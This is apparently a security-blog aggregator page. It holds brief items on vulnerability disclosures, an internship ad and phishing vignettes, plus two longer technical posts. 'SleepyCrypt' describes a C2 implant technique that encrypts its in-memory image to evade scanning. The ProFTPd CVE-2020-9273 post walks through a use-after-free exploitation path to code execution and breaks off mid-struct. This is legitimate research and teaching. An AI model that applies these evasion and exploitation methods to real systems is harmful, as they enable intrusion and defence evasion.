Reading view

There are new articles available, click to refresh the page.

HanseSecure als einer der Top 100 Cybersecurity-Leader ausgezeichnet

Cybersicherheit ist ein Thema, das immer mehr an Aufmerksamkeit gewinnt, da täglich über 80.000 Cyberangriffe gemeldet werden. Allein in Deutschland berichten mindestens 92 % der Unternehmen , dass sie innerhalb eines Zeitraums von 12 Monaten von irgendeiner Art von Cyberangriff betroffen waren. Glücklicherweise erweitern die Cybersicherheitsunternehmen ständig ihr Angebot für Unternehmen und Konzerne, um deren […]

Sicherheitslücke in Remote Desktop Commander Suite Agent

CVE -anhängig- Anfällige Software Remote Desktop Commander Suite Agent <= Version 4.8 Schwachstelle Schwachstelle im unquotierten Dienstpfad Zeitleiste 12.11.2021 Verkäufer informiert 10.12.2021 Der Verkäufer hat das Problem bestätigt und bittet um eine Freigabe am 9. Februar 2022 09.02.2022 Offenlegung Beschreibung WENN ein Kunde a.) unseren Agentendienst im Standardpfad C:\Programme\RDPSoft\Remote Desktop Reporter Agent installiert und b.) […]

[已結束] DEVCORE 2022 實習生計畫

DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大徵才,想找尋有著相同理念的人才一起奮鬥;而現在,我們開始嘗試舉辦實習生計畫,希望培育人才、增強新世代的資安技能,如果您對這個計畫有興趣,歡迎來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 30 %
  • Web 主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
    • 漏洞及攻擊手法研究 70%
    • 建置 Lab 30%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2022 年 4 月開始到 7 月底,共 4 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
    • 其餘時間皆為遠端作業

招募對象

大專院校大三(含)以上具有一定程度資安背景的學生

預計招收名額

  • Binary 組:2 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 ROP、Heap Exploitation 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 有公開的技術 blog/slide 或 Write-ups
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為三個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 書面審查
  • 簡答題測驗(2 題,詳見下方報名方式

我們會根據您的履歷及簡答題所回答的內容來決定是否有通過第一階段,我們會在七個工作天內回覆是否有通過第一階段,並且視情況附上第二階段的題目。

第二階段:能力測驗

  • Binary
    • 第二階段會根據您的履歷或是任何可以證明具備 Binary Exploit 相關技能的資料來決定是否需要另外做題目,如果未達標準則會另外準備 Binary Exploitation 相關題目,原則上這個階段會給大家約兩週時間解題,解完後請務必寫下解題過程(Write-up),待我們收到解題過程後,將會根據您的狀況決定是否可以進入第三階段。
  • Web

第三階段:面試

此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

  • 請將您的履歷簡答題答案做成一份 PDF 檔寄到 [email protected]
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2022/02/11 前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • 對於這份實習的期望
    • MBTI 職業性格測試結果(測試網頁
  • 簡答題題目如下,請依照欲申請之組別回答,答案頁數不限,可自由發揮
    • Binary
      • 假設你今天要分析一個 C/C++ 寫的 web server,在程式執行過程中,你覺得有哪些地方可能會發生問題導致程式流程被劫持?為什麼?
      • 在 Linux 機器上,當我們在對 CGI 進行分析時,由於 CGI 是由 apache 所呼叫並傳遞 input,且在執行後會立即結束,這種程式你會如何 debug ?
    • Web
      • 當你在網頁瀏覽器的網址列上輸入一串網址(例如:http://site.fake.devco.re/index.php?foo=bar),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。
      • 依據前述問題的答案,允許隨意設想任何一個情境,並以文字盡可能說明在情境的各個環節中可能發生的任何安全議題或者攻擊目標、攻擊面向。

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

Erster Radio Beitrag: Gefälschte Impfausweise

Am 02.11.2021 durfte ich einen kurzen Beitrag bei der deutschen Welle zum Thema der gefälschen Impfausweise geben. Aufgrund der Tatsache, dass sich das Thema sehr umfangreich im Osteuropäischen Raum abspielte, hatte sich ausschließlich der russsich sprachige Bereich des Senders mit dem Thema befasst. Somit seid nicht überrascht, dass Sowohl der Beitrag, als auch das Video […]

Vulnerability Wordline

CVE pending Vulnerable Software HIDCCEMonitorSVC Version <= 5.2.4.3 Vulnerability A Unquoted service path in HIDCCEMonitorSVC software allows a local attacker to potentially escalate privileges to system level. Timeline 29.10.2021 Vendor informed 10.11.2021 Vendor confirms the vulnerability and informs HanseSecure that the vulnerability will be patched in the next version. 21.12.2020 Disclosure References: Hall of Fame […]

Top Security QuickFails: #5 Angriff der KlonAdmins aka Missing LAPS

#5 Angriff der KlonAdmins aka Missing LAPS Der Angriff In der FaulerHund AG in München starten die Mitarbeiter in ein neues Geschäftsjahr und freuen sich auf neue Herausforderungen. So auch der Administrator Karl KannNixDafür, welcher am Donnerstag Mittag gegen 12:30 festgestellt hat, dass der Account von Ute Unbeschwert noch angemeldet ist, obwohl diese gegen 11 […]

Top Security QuickFails: #4 Kein SPF

Morgens halbzehn in Deutschland. Bianca in der MedienBude GmbH beginnt ihren Arbeitstag und checkt den Posteingang ihres E-Mail Postfaches. Dort findet Sie eine dringende E-Mail von Ihrem Chef, der Sie bittet die letzte Abrechnung zu überprüfen.

SleepyCrypt: Encrypting a running PE image while it sleeps

SleepyCrypt: Encrypting a running PE image while it sleeps

Introduction

In the course of building a custom C2 framework, I frequently find features from other frameworks I’d like to implement. Cobalt Strike is obviously a major source of inspiration, given its maturity and large feature set. The only downside to re-implementing features from a commercial C2 is that you have no code or visibility into how a feature is implemented. This downside is also an learning excellent opportunity.

One such feature is Beacon’s ability to encrypt its loaded image in memory while it sleeps. It does this to prevent memory scanning from identifying static data and other possible indicators within the image while Beacon is inactive. Since during sleep no code or data is used, it can be encrypted, and only decrypted and visible in memory for the shortest time necessary. Another similar idea is heap encryption, which encrypts any dynamically allocated memory during sleep. A great writeup on this topic was published recently by Waldo-IRC and is available here.

So I set out to create a proof of concept to encrypt the loaded image of a process periodically while that process is sleeping, similar to how a Beacon or implant would.

The code for this post is available here.

Starting A Process

To get an idea of the challenges we have to overcome, let’s examine how an image is situated in memory when a process is running.

During process creation, the Windows loader takes the PE file from disk and maps it into memory. The PE headers tell the loader about the number of sections the file contains, their sizes, memory protections, etc. Using this information, each section is mapped by the loader into an area of memory, and that memory is given a specific memory protection value. These values can be a combination of read, write, and execute, along with a bunch of other values that aren’t relevant for now. The various sections tend to have consistent memory protection values; for instance, the .text sections contains most of the executable code of the program, and as such needs to be read and executed, but not written to. Thus its memory is given Read eXecute protections. The .rdata section however, contains read-only data, so it is given only Read memory protection.

Section Protection

Why do we care about the memory protection of the different PE sections? Because we want to encrypt them, and to do that, we need to be able to both read and write to them. By default, most sections are not writable. So we will need to change the protections of each section to at least RW, and then change them back to their original protection values. If we don’t change them back to their proper values, the program could possibly crash or look suspicious in memory. Every single section being writable is not a common occurrence!

How Can You Run Encrypted Code?

Another challenge we need to tackle is encrypting the .text section. Since it contains all the executable code, if we encrypt it, the assembly becomes gibberish and the code can no longer run. But we need the code to run to encrypt the section. So it’s a bit of a chicken and the egg problem. Luckily there’s a simple solution: use the heap! We can allocate a buffer of memory dynamically, which will reside inside our process address space, but outside of the .text section. But how do we get our C code into that heap buffer to run when it’s always compiled into .text? One word: shellcode.

Ugh, Shellcode??

I know we all love writing complex shellcode by hand, but for this project I am going to cheat and use C to create the shellcode for me. ParanoidNinja has a fantastic blog post on exactly this subject, and I will borrow heavily from that post to create my shellcode.

But what does this shellcode need to do exactly? It has two primary functions: encrypt and decrypt the loaded image, and sleep. So we will write a small C function that takes a pointer to the base address of the loaded image and a length of time to sleep. It will change the memory protections of the sections, encrypt them, sleep for the configured time, and then decrypt everything and return.

Putting It All Together

So the final flow of our program looks like this:

- Generate the shellcode from our C program and include it as a char buffer in our main test program called `sleep.exe`
- In `sleep.exe`, we allocate heap memory for the shellcode and copy it over
- We get the base address of our image and the desired sleep time
- We use the pointer to the heap buffer as a function pointer and call the shellcode like a function, passing in a parameter
- The shellcode will run, encrypt the image, sleep, decrypt, and then return
- We're back inside the `.text` section of `sleep.exe`, so we can continue to do our thing until we want to sleep and repeat the process again

Sleep.exe

Since it’s the simplest, let’s start with a rundown of sleep.exe.

First off, we include the shellcode as a header file. This is generated from the raw binary (which we’ll cover shortly) with xxd -i shellcode.bin > shellcode.h. Then we define the struct we will use as a parameter to the shellcode function, which is called simply run. The struct contains a pointer for the image base address, a DWORD for the sleep time, and a pointer to MessageBoxA, so we can have some visible output from the shellcode. In a real implant you would probably want to omit this. Lastly we create a function pointer typedef, so we can call the shellcode buffer like a normal function.

Struct in sleep.c

Next we begin our main function. We take in a command line parameter with the sleep time, dynamically resolve MessageBoxA, get the image base address with GetModuleHandleA( NULL ), and setup the parameter struct. Then we allocate our heap buffer and copy the shellcode payload into it:

Setup in sleep.c

Finally we create a function pointer to the shellcode buffer, wait for a keypress so we have time to check things out in Process Hacker, and then we execute the shellcode. If all goes well, it will sleep for our configured time and return back to sleep.exe, popping some message boxes in the process. Then we’ll press another key to exit, showing that we do indeed have execution back in the .text section.

Run in sleep.c

C First, Then Shellcode

Now we write the C function that will end up as our position-independent shellcode. ParanoidNinja covers this pretty well in his post, so I won’t rehash it all here, but I will mention some salient points we’ll need to account for.

First, when we call functions in shellcode on x64, we need the stack to be 16 byte aligned. We borrow ParanoidNinja’s assembly snippet to do this, using it as the entry point for the shellcode, which then calls our run function, then returns to sleep.exe.

Next we need to consider calling Win32 APIs from our shellcode. We don’t have the luxury of just calling them as usual, since we don’t know their addresses and have no runtime support, so we need to resolve them ourselves. However, the usual method of calling GetProcAddress with a string of the function to resolve is tricky, as we already need to know the address of GetProcAddress to call it, and using strings in position-independent shellcode requires them to be spelled out in a char array like this: char MyFunc[] = { 'h', 'i', 0x0 };. What we can do instead is use the tried and true method of API hashing. I have borrowed a custom GetProcAddress implementation to do this from here, combining it with a slightly modified djb2 hash algorithm. Here’s how this looks for Sleep and VirtualProtect:

Function resolution in run.c

PE Parsing Fun

Now that we’re able to get the function pointers we need, it’s time to address encrypting the image. The way we’ll do this is by parsing the PE header of the loaded image, since it contains all the information we need to find each section in memory. After talking with Waldo-IRC, it turns out I could also have done with with VirtualQuery, which would make it a more generalizable process. However I did it the PE way, so that’s what I’ll cover here.

The first parameter of our argument struct to the shellcode is the base address of the loaded image in memory. This is effectively a pointer to the beginning of the MSDOS header. So we can use all the usual PE parsing techniques to find the beginning of the section headers. PE parsing can be tedious, so I won’t give a detailed play by play, just the highlights.

Once we have the address of the first section, we can get the three pieces of information we need from it. First is the actual address of the section in memory. The IMAGE_SECTION_HEADER structure contains a VirtualAddress field, which when combined with the image base address, gives us the actual address in memory of the section.

Next we need the size of that section in memory. This is stored in the VirtualSize field of the section header. However this size is not actually the real size of the section when mapped into memory. It’s the size of the actual data in the section. Since by default memory in Windows is allocated in pages of 4 kilobytes, the VirtualSize value is rounded up to the nearest multiple of 4k. The bit twiddling code to do this was taken from StackOverflow here.

The last piece of information about the section we need is the memory protection value. This is stored in the Characteristics field of the section header. This is a DWORD value that looks something like 0x40000040, with the left-most hex digit representing the read, write, or execute permission we care about. We do a little more bit twiddling to get just this value, by shifting it to the right by 28 bits. Once we get this value by itself, we save it in an array indexed by the section number so that we can reuse it later to reset the protections:

Shifting characteristics in run.c

Encryption

Now that we can find each section, know its size, and can restore its memory protections, we can finally encrypt. In the same loop where we parsed each section, we call our encryption function:

Shifting characteristics in run.c

The encryption/decryption functions take the address, size, and memory protection to apply, as well as a pointer to the address of the VirtualQuery function, so that we don’t have to resolve it each time:

Encrypt/decrypt functions in run.c

To encrypt, we change the memory protections to RW, then XOR each byte of the section. Once we have encrypted each section, we finish by encrypting the PE headers. They reside in a single 4k page starting at the base address. With that, the entire loaded image is encrypted!

Sleep and Decryption

Now that we’ve encrypted the entire image, we can sleep by calling the dynamically resolved Sleep function pointer, using the passed-in sleep duration DWORD.

Once we’ve finished sleeping, we decrypt everything. We have to make sure that we decrypt the PE headers page first, because we use it to find the addresses of all the other sections. Then we pop a message box to tell us we’re done, and return to sleep.exe!

Getting The Shellcode

ParanoidNinja covers this part in detail as well, but briefly the process is this:

- Compile the stack alignment assembly and the C code to an object file
- Link the two object files together into an EXE
- Use `objcopy` to extract just the `.text` into file
- Convert the shellcode file into a `char` array for `sleep.c`

Demo Time

To verify everything is being encrypted and decrypted properly, we can use Process Hacker to inspect the memory. Here I’ve called sleep.exe with a 5 second sleep time. The process has started, but since I haven’t pressed a key, everything is still unencrypted:

PE headers unencrypted

Here I have pressed a key and the encryption process has started. I have pressed “Re-Read” memory in Process Hacker, and you can see that the header page has been XOR encrypted:

PE headers encrypted

After the sleep is finished and decryption takes place, we get a message box telling us we’re done. Once we refresh the memory in Process Hacker, we can see we have the PE header page back again!

Demo complete

You can repeat this with each section in Process Hacker and see that they are all indeed encrypted.

Conclusion

I find it really educational to recreate Cobalt Strike features, and this one was no exception. I don’t know if this is at all close to how Cobalt Strike handles sleep obfuscation, but this does seem to be a viable method, and I will likely tweak it further and include it in my C2 framework. If you have any questions or input on this, please let me know or open an issue on Github.

Top Security QuickFails: #3 Die „unsichtbaren“ Netzwerkfreigaben

#3 Die „unsichtbaren“ Netzwerkfreigaben Der Angriff Es ist Mittwochvormittag, die Sonne scheint und alle Mitarbeiter der ImmerGrün AG freuen sich auf das Sommerfest am Nachmittag.Beate aus der HR Abteilung wollte sich vorher noch einige Bewerbungen vom Vortag ansehen und wunderte sich noch, dass bei vielen Dokumenten plötzlich Macros zum Öffnen notwendig waren, aber das würde […]

A New Attack Surface on MS Exchange Part 3 - ProxyShell!

This is a guest post DEVCORE collaborated with Zero Day Initiative (ZDI) and published at their blog, which describes the exploit chain we demonstrated at Pwn2Own 2021! Please visit the following link to read that :)

If you are interesting in more Exchange Server attacks, you can also check our series of articles:

With ProxyShell, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port! Here is the demonstration video:

Having fun with a Use-After-Free in ProFTPd (CVE-2020-9273)

Dear Fellowlship, today’s homily is about building a PoC for a Use-After-Free vulnerability in ProFTPd that can be triggered once authenticated and it can lead to Post-Auth Remote Code Execution. Please, take a seat and listen to the story.

Introduction

This post will analyze the vulnerability and how to exploit it bypassing all the memory exploit mitigations present by default (ASLR, PIE, NX, Full RELRO, Stack Canaries etc).

First of all I want to mention:

  • @DUKPT_ who is also working on a PoC for this vulnerability, for his approach on overwriting gid_tab->pool which is the one I decided to use on the exploit (will be explained later in this post)
  • Antonio Morales @nosoynadiemas for discovering this vulnerability, you can find more information about how he discovered it on his post Fuzzing sockets, part 1: FTP servers

Vulnerability

To trigger the vulnerability, we need to first start a new data channel transference, then interrupt through command channel while data channel is still open.

Using the data channel, we can fill heap memory to overwrite the resp_pool struct, which is session.curr_cmd_rec->pool at this time.

The result of triggering the vulnerability successfully is full control over resp_pool:

gef➤  p p
$3 = (struct pool_rec *) 0x555555708220
gef➤  p resp_pool
$4 = (pool *) 0x555555708220
gef➤  p session.curr_cmd_rec->pool
$5 = (struct pool_rec *) 0x555555708220
gef➤  p *resp_pool
$6 = {
  first = 0x4141414141414141,
  last = 0x4141414141414141,
  cleanups = 0x4141414141414141,
  sub_pools = 0x4141414141414141,
  sub_next = 0x4141414141414141,
  sub_prev = 0x4141414141414141,
  parent = 0x4141414141414141,
  free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
  tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
}

Obviously, as there are not valid pointers in the struct, we end up on a segmentation fault on this line of code:


first_avail = blok->h.first_avail

blok, which coincides with the p->last value, is 0x4141414141414141 at that time

The ProFTPd Pool Allocator

The ProFTPd pool allocator is the same as the Apache.

Allocations here take place using palloc() and pcalloc(), which are wrapping functions for alloc_pool()

ProFTPd Pool Allocator works with blocks, which are actual glibc heap chunks.

Each block has a block_hdr header structure that defines it:


union block_hdr {
  union align a;

  /* Padding */
#if defined(_LP64) || defined(__LP64__)
  char pad[32];
#endif

  /* Actual header */
  struct {
    void *endp;
    union block_hdr *next;
    void *first_avail;
  } h;
};

  • blok->h.endp points to the end of current block
  • blok->h.next points to the next block in a linked list
  • blok->h.first_avail points to the first available memory within this block

This is the alloc_pool() code:


static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {

  size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
  size_t sz = nclicks * CLICK_SZ;
  union block_hdr *blok;
  char *first_avail, *new_first_avail;

  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }

  first_avail = blok->h.first_avail;

  if (reqsz == 0) {
    errno = EINVAL;
    return NULL;
  }

  new_first_avail = first_avail + sz;

  if (new_first_avail <= (char *) blok->h.endp) {
    blok->h.first_avail = new_first_avail;
    return (void *) first_avail;
  }

  pr_alarms_block();

  blok = new_block(sz, exact);
  p->last->h.next = blok;
  p->last = blok;

  first_avail = blok->h.first_avail;
  blok->h.first_avail = sz + (char *) blok->h.first_avail;

  pr_alarms_unblock();
  return (void *) first_avail;
}

As we can see, it first tries to use memory within the same block, if no space, is allocates a new block with new_block() and updates the pool last block on p->last.

Pool headers, defined by pool_rec structure, are stored right after the first block created for that pool, as we can see on make_sub_pool() which creates a new pool:


struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;

  pr_alarms_block();

  blok = new_block(0, FALSE);

  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;

  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail;
  new_pool->first = new_pool->last = blok;

  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;

    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;

    p->sub_pools = new_pool;
  }

  pr_alarms_unblock();

  return new_pool;
}

Actually, make_sub_pool() is responsible for creating the permanent pool aswell, which has no parent. p will be NULL when doing it.

Looking at make_sub_pool() code, you can realize that it gets a new block, and just after the block_hdr headers, pool_rec headers are entered and blok->h.first_avail is updated to point right after it.

Then, entries of the new created pool are initialized.

The p->cleanups entry is a pointer to a cleanup_t struct:


typedef struct cleanup {
  void *data;
  void (*plain_cleanup_cb)(void *);
  void (*child_cleanup_cb)(void *);
  struct cleanup *next;

} cleanup_t;

Cleanups are interpreted by the function run_cleanups() and registered with the function register_cleanup()

A chain of blocks can be freed using free_blocks():


static void free_blocks(union block_hdr *blok, const char *pool_tag) {

  union block_hdr *old_free_list = block_freelist;

  if (!blok)
    return;

  block_freelist = blok;

  while (blok->h.next) {
    chk_on_blk_list(blok, old_free_list, pool_tag);
    blok->h.first_avail = (char *) (blok + 1);
    blok = blok->h.next;
  }

  chk_on_blk_list(blok, old_free_list, pool_tag);
  blok->h.first_avail = (char *) (blok + 1);
  blok->h.next = old_free_list;
}

Exploitation Analysis

We have control over a really interesting pool_rec struct, now we might need to search for primitives that allow us to get something useful from this vulnerability, like obtaining Remote Code Execution.

Leaking memory addresses

Obviously to exploit this vulnerability predictable memory addresses is a requirement before using primitives, as in this case, the exploitation consists on playing with pointers, structs and memory writes.

Leaking memory addresses on this situation is really hard, as we are on a cleanup/session finishing process and to trigger the vulnerability we actually need to generate an interruption.

I first thought about reading /proc/self/maps file, which can be read by any process, even with low privileges.

Perhaps in theory it would work, unfortunately ProFTPd uses stat syscall to retrieve file size, as stat over pseudo-files like maps returns zero, this breaks transfer, and 0 bytes are returned back to client on data channel.

Thinking on additional ways to do it, I realized about mod_copy, which is a module in ProFTPd that allows you to copy files within the server.

We can use mod_copy to copy the file from /proc/self/maps to /tmp, and once there, we perform a normal transfer over the file at /tmp which is not a pseudo-file now, so /proc/self/maps content will be returned to attacker.

This leak is really interesting as it gives you addresses for every segment, and even the filename of the shared libraries, which sometimes contain versions like libc-2.31.so, and this is really interesting for exploit reliability, we could use offsets for specific libc versions.

Hijacking the control-flow

We have to transform our control over session.curr_cmd_rec->pool into any write primitive allowing us to reach run_cleanups() somehow with an arbitrary cleanup_t struct.

Looking for struct entry writes, there was nothing useful that would allow us direct write-what-where primitives (would be a lot easier this way).

Instead, the only way we can use to write something on arbitrary addresses is to use make_sub_pool() (at pool.c:415), which is called with cmd->pool as argument at some point:


struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;

  pr_alarms_block();

  blok = new_block(0, FALSE);

  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;

  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail;
  new_pool->first = new_pool->last = blok;

  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;

    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;

    p->sub_pools = new_pool;
  }

  pr_alarms_unblock();

  return new_pool;
}

This function is called at main.c:287 from _dispatch() function with our controlled pool as argument:


...

      if (cmd->tmp_pool == NULL) {
        cmd->tmp_pool = make_sub_pool(cmd->pool);
        pr_pool_tag(cmd->tmp_pool, "cmd_rec tmp pool");
      }
      
...

As you can see new_pool->sub_next has now the value of p->sub_pools, which is controlled, then we enter on new_pool->sub_next->sub_prev the new_pool pointer.

This means, we can write to any arbitrary address the value of new_pool, which apparently, appears not to be so useful at all, as the only relationship we have with this newly created pool cmd->tmp_pool is that cmd->tmp_pool->parent is equal to resp_pool as we are the parent pool for it.

Also the only value we control is the new_pool->sub_next, which we actually use for the write primitive.

What more interesting primitives do we have?

On a previous section we explained how the ProFTPd pool allocator works, when a new pool is created, p->first and p->last point to blocks used for the pool, we are interested in the p->last as it is the block that is actually used, as we can see on alloc_pool() at pool.c:570:

...

  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }

  first_avail = blok->h.first_avail;
  
...

first_avail is the pointer to the limit between used data and available free space, which is where we will start to allocate memory.

Our pool is passed to pstrdup() multiple times for string allocation:


char *pstrdup(pool *p, const char *str) {
  char *res;
  size_t len;

  if (p == NULL ||
      str == NULL) {
    errno = EINVAL;
    return NULL;
  }

  len = strlen(str) + 1;

  res = palloc(p, len);
  if (res != NULL) {
    sstrncpy(res, str, len);
  }

  return res;
}

This function calls palloc() which ends up calling alloc_pool()

The allocations are mostly non-controllable strings, which seem not useful to us, except from one allocation at cmd.c:373 on function pr_cmd_get_displayable_str():

...

  if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
      pstrdup(cmd->pool, res), 0) < 0) {
    if (errno != EEXIST) {
      pr_trace_msg(trace_channel, 4,
        "error setting 'displayable-str' command note: %s", strerror(errno));
    }
  }
  
...

As you can see, cmd->pool (our controlled pool) is passed to pstrdup(), and as seen at cmd.c:363:


...

  if (argc > 0) {
    register unsigned int i;

    res = pstrcat(p, res, pr_fs_decode_path(p, argv[0]), NULL);

    for (i = 1; i < argc; i++) {
      res = pstrcat(p, res, " ", pr_fs_decode_path(p, argv[i]), NULL);
    }
  }

... 
 

res points to our last command sent


...

  if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
      pstrdup(cmd->pool, res), 0) < 0) {
    if (errno != EEXIST) {
      pr_trace_msg(trace_channel, 4,
        "error setting 'displayable-str' command note: %s", strerror(errno));
    }
  }
  
...

This means if we send arbitrary data instead of a command, we could enter custom data on pool block space, and as we can corrupt p->last we can make blok->h.first_avail point to any address we want, and this means we can overwrite through a command any data.

Unfortunately, it is not like our corruption from data channel, as here our commands are treated as strings, and not binary data as the data channel does.

This means we are very limited on overwriting structs or any useful data.

Also, some allocations happen before, and the heap from the intial value of blok->h.first_avail to that value when pstrdup()‘ing our command will be full of strings, and non valid pointers which could likely end up on a crash before reaching run_cleanups().

Initially, I decided to use blok->h.first_avail to overwrite cmd->tmp_pool entries with arbitrary data.

This pool is freed with destroy_pool() at main.c:409 on function _dispatch():


...

      destroy_pool(cmd->tmp_pool);
      cmd->tmp_pool = NULL;
      
...

This means if we control the cmd->tmp_pool->cleanups value when reaching clear_pool() we would have the ability to control RIP and RDI once run_cleanups() is called:


void destroy_pool(pool *p) {
  if (p == NULL) {
    return;
  }

  pr_alarms_block();

  if (p->parent) {
    if (p->parent->sub_pools == p) {
      p->parent->sub_pools = p->sub_next;
    }

    if (p->sub_prev) {
      p->sub_prev->sub_next = p->sub_next;
    }

    if (p->sub_next) {
      
      p->sub_next->sub_prev = p->sub_prev;
    }
  }

  clear_pool(p);
  free_blocks(p->first, p->tag);

  pr_alarms_unblock();
  
}

As you can see clear_pool() is called, but after accessing some of the entries of the pool, which must be either NULL or a valid writable address.

Once clear_pool() is called:


static void clear_pool(struct pool_rec *p) {

  /* Sanity check. */
  if (p == NULL) {
    return;
  }

  pr_alarms_block();

  run_cleanups(p->cleanups);
  p->cleanups = NULL;

  while (p->sub_pools) {
    destroy_pool(p->sub_pools);
  }

  p->sub_pools = NULL;

  free_blocks(p->first->h.next, p->tag);
  p->first->h.next = NULL;

  p->last = p->first;
  p->first->h.first_avail = p->free_first_avail;

  pr_alarms_unblock();
}

We can see that run_cleanups() is called directly without more checks / memory writes.

When calling function run_cleanups():


static void run_cleanups(cleanup_t *c) {
  while (c) {
    if (c->plain_cleanup_cb) {
      (*c->plain_cleanup_cb)(c->data);
    }

    c = c->next;
  }
}

Looking at cleanup_t struct:


typedef struct cleanup {
  void *data;
  void (*plain_cleanup_cb)(void *);
  void (*child_cleanup_cb)(void *);
  struct cleanup *next;

} cleanup_t;

We can control RIP with c->plain_cleanup_cb and RDI with c->data

Unfortunately, corrupting cmd->tmp_pool is difficult, as a string displayable-str is appended right after our controllable data, and right after our p->cleanup entry there are some entries that are accessed on destroy_pool() before reaching run_cleanups().

@DUKPT_ who is also working on a PoC for this vulnerability was overwriting gid_tab->pool. Which is a more reliable technique as there are no pointers after our controllable data, so when displayable-str is appended, nothing serious will be broken, and also, here, instead of corrupting a pool_rec structure, we corrupt a pr_table_t structure, so we can point gid_tab->pool to memory corrupted from the data channel, which also accepts NULLs and we can craft a fake pool_rec structure with an arbitrary p->cleanup value to a fake cleanup_t struct which will be finally passed to run_cleanups().

The interesting use of gid_tab is also that gid_tab->pool is passed to destroy_pool() on pr_table_free() with argument gid_tab:


int pr_table_free(pr_table_t *tab) {

  if (tab == NULL) {
    errno = EINVAL;
    return -1;
  }

  if (tab->nents != 0) {
    errno = EPERM;
    return -1;
  }

  destroy_pool(tab->pool);
  return 0;
}

This is how pr_table_t looks like:


struct table_rec {
  pool *pool;
  unsigned long flags;
  unsigned int seed;
  unsigned int nmaxents;
  pr_table_entry_t **chains;
  unsigned int nchains;
  unsigned int nents;
